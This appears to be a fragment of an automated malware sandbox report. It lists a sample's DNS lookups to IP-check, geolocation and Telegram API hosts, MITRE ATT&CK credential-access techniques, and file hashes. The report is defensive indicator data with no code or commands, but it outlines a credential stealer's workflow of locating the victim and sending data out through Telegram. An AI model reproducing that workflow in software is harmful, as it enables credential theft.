DNS Request
149.220.183.52.in-addr.arpa
-
64 B 176 B 1 1
DNS Request
checkip.dyndns.org
DNS Response
132.226.8.169193.122.130.0158.101.44.242132.226.247.73193.122.6.168
-
65 B 97 B 1 1
DNS Request
reallyfreegeoip.org
DNS Response
172.67.177.134104.21.67.152
-
72 B 157 B 1 1
DNS Request
169.8.226.132.in-addr.arpa
-
73 B 135 B 1 1
DNS Request
134.177.67.172.in-addr.arpa
-
62 B 78 B 1 1
DNS Request
api.telegram.org
DNS Response
149.154.167.220
-
74 B 167 B 1 1
DNS Request
220.167.154.149.in-addr.arpa
-
70 B 144 B 1 1
DNS Request
58.55.71.13.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
197.87.175.4.in-addr.arpa
-
70 B 144 B 1 1
DNS Request
18.31.95.13.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
83.210.23.2.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
13.227.111.52.in-addr.arpa
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82